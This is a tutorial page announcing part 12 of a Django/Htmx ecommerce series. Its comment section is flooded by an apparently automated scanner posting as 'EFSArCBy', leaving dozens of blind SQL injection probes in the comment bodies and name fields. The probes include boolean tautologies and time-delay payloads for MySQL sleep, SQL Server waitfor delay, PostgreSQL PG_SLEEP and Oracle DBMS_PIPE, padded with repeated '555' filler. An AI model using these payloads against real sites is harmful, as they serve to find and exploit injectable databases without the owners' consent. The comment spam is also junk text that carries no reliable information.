Refactoring - 1 - Django Ecommerce Website - Htmx and Tailwind

In part 12 of the Python Django / Htmx ecommerce website tutorial series, we are going to do several small changes to the website.

We will make it possible to add to the cart from product lists, fix a bug with the images, fix some links in the menu, clean up the urls file, etc, etc.

Github: https://github.com/SteinOveHelset/nordichomes/releases/tag/part-12

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

-1 OR 2+567-567-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:39

-1 OR 2+818-818-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:39

-1' OR 2+499-499-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:39

-1' OR 2+687-687-1=0+0+0+1 or 'ZhNpxHw5'='

EFSArCBy | Jul 02, 26 11:39

-1" OR 2+81-81-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:39

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:39

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:39

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:39

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:39

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:39

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:39

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:39

5555sFjq732'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:39

555-1 OR 308=(SELECT 308 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:39

555-1) OR 526=(SELECT 526 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:39

555-1)) OR 470=(SELECT 470 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:39

555164nJc1l' OR 677=(SELECT 677 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:39

555v9Fgazm0') OR 776=(SELECT 776 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:39

5555urEE9et')) OR 429=(SELECT 429 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:39

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:39

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555'"

EFSArCBy | Jul 02, 26 11:39

@@c0nig

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

-1 OR 2+748-748-1=0+0+0+1 -- | Jul 02, 26 11:39

555

-1 OR 2+531-531-1=0+0+0+1 | Jul 02, 26 11:39

555

-1' OR 2+99-99-1=0+0+0+1 -- | Jul 02, 26 11:39

555

-1' OR 2+695-695-1=0+0+0+1 or '0o6rhESy'=' | Jul 02, 26 11:39

555

-1" OR 2+962-962-1=0+0+0+1 -- | Jul 02, 26 11:39

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:39

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:39

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:39

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:39

555

EFSArCBy40uH0fdS'; waitfor delay '0:0:15' -- | Jul 02, 26 11:39

555

EFSArCByP8BXL8H3' OR 698=(SELECT 698 FROM PG_SLEEP(15))-- | Jul 02, 26 11:39

555

EFSArCByuIkR5aJz') OR 576=(SELECT 576 FROM PG_SLEEP(15))-- | Jul 02, 26 11:39

555

EFSArCBy3MtIMz3J')) OR 226=(SELECT 226 FROM PG_SLEEP(15))-- | Jul 02, 26 11:39

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy'" | Jul 02, 26 11:39

555

@@lr7i5 | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 02, 26 11:39

555

EFSArCBy | Jul 21, 26 12:32

555

EFSArCBy | Jul 21, 26 12:34

555

EFSArCBy | Jul 21, 26 12:34

555

EFSArCBy | Jul 21, 26 12:34

-1 OR 2+754-754-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:34

-1 OR 2+742-742-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:35

-1' OR 2+946-946-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:35

-1' OR 2+374-374-1=0+0+0+1 or 'IP8iqGVM'='

EFSArCBy | Jul 21, 26 12:35

-1" OR 2+648-648-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:35

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:35

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:35

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:35

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:35

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555QyqHOl2j'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:35

555-1 OR 18=(SELECT 18 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555-1) OR 405=(SELECT 405 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555-1)) OR 363=(SELECT 363 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555SwpPJrA0' OR 302=(SELECT 302 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555pZT00J9I') OR 412=(SELECT 412 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555MxzojoVD')) OR 49=(SELECT 49 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:35

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:35

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555'"

EFSArCBy | Jul 21, 26 12:35

@@5AI3a

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

-1 OR 2+601-601-1=0+0+0+1 -- | Jul 21, 26 12:35

555

-1 OR 2+194-194-1=0+0+0+1 | Jul 21, 26 12:35

555

-1' OR 2+706-706-1=0+0+0+1 -- | Jul 21, 26 12:35

555

-1' OR 2+888-888-1=0+0+0+1 or 'JoUdxwR8'=' | Jul 21, 26 12:35

555

-1" OR 2+712-712-1=0+0+0+1 -- | Jul 21, 26 12:35

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:35

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:35

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:35

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:35

555

EFSArCByXIIV2S8E'; waitfor delay '0:0:15' -- | Jul 21, 26 12:35

555

EFSArCBy18MJIV4W' OR 601=(SELECT 601 FROM PG_SLEEP(15))-- | Jul 21, 26 12:35

555

EFSArCBywAkxA0S3') OR 82=(SELECT 82 FROM PG_SLEEP(15))-- | Jul 21, 26 12:35

555

EFSArCBycHxKauPO')) OR 661=(SELECT 661 FROM PG_SLEEP(15))-- | Jul 21, 26 12:35

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy'" | Jul 21, 26 12:35

555

@@dDwFG | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 21, 26 12:35

555

EFSArCBy | Jul 23, 26 03:28

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

-1 OR 2+469-469-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:31

-1 OR 2+641-641-1=0+0+0+1

EFSArCBy | Jul 23, 26 03:31

-1' OR 2+862-862-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:31

-1' OR 2+718-718-1=0+0+0+1 or 'xIj0dZhv'='

EFSArCBy | Jul 23, 26 03:31

-1" OR 2+567-567-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:31

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 03:31

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 03:31

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 03:31

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 03:31

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:31

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:31

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:31

555n4Psj5kd'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:31

555-1 OR 219=(SELECT 219 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:31

555-1) OR 635=(SELECT 635 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:31

555-1)) OR 834=(SELECT 834 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:31

555GXmszfCb' OR 189=(SELECT 189 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:31

5555tVQiXNW') OR 316=(SELECT 316 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:31

555xdJIY3iS')) OR 446=(SELECT 446 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:31

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 03:31

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555'"

EFSArCBy | Jul 23, 26 03:31

@@6RYs2

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

-1 OR 2+956-956-1=0+0+0+1 -- | Jul 23, 26 03:31

555

-1 OR 2+277-277-1=0+0+0+1 | Jul 23, 26 03:31

555

-1' OR 2+415-415-1=0+0+0+1 -- | Jul 23, 26 03:31

555

-1' OR 2+338-338-1=0+0+0+1 or 'yAJ4EDrV'=' | Jul 23, 26 03:31

555

-1" OR 2+192-192-1=0+0+0+1 -- | Jul 23, 26 03:31

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:31

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:31

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:31

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:31

555

EFSArCByiUHwat26'; waitfor delay '0:0:15' -- | Jul 23, 26 03:31

555

EFSArCBy0SKmUnl6' OR 668=(SELECT 668 FROM PG_SLEEP(15))-- | Jul 23, 26 03:31

555

EFSArCBy5gUYNquo') OR 515=(SELECT 515 FROM PG_SLEEP(15))-- | Jul 23, 26 03:31

555

EFSArCByT6oJP4s6')) OR 202=(SELECT 202 FROM PG_SLEEP(15))-- | Jul 23, 26 03:31

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy'" | Jul 23, 26 03:31

555

@@D37QU | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

EFSArCBy | Jul 23, 26 03:31

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.